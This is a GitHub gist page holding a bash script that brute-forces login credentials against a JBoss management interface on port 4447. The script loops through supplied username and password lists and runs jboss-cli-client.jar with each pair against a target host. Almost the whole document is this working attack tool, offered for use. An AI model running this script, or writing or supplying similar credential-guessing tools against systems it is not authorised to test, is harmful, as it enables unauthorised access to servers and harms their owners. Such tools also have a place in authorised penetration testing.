Skip to content

Instantly share code, notes, and snippets.

@ztgrace
Created June 4, 2020 15:38
Show Gist options
  • Save ztgrace/9afa7a7c2e0ebffec43089af6a7715e2 to your computer and use it in GitHub Desktop.
Save ztgrace/9afa7a7c2e0ebffec43089af6a7715e2 to your computer and use it in GitHub Desktop.
#!/bin/bash
# Wrapper for the jboss-cli-client.jar to brute creds
# Usage: ./jboss-cli-client-brute.bash 10.10.10.10 4447 ./users.txt ./passwords.txt
#
# Default port: 4447
# Nmap service description: JBoss Remoting (JBoss management interface)
host=$1
port=$2
user_file=$3
pass_file=$4
for user in $(cat $user_file); do
for pass in $(cat $pass_file); do
echo -e "[\e[34m*\e[0m] Attempting ${user}:${pass}"
java -jar jboss-cli-client.jar --connect --controller=${host}:${port} --user="${user}" --password="${pass}"
done
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment